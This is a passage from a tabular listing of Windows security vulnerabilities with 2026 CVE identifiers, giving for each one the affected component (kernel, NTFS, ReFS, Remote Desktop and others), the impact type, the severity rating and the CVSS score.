Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  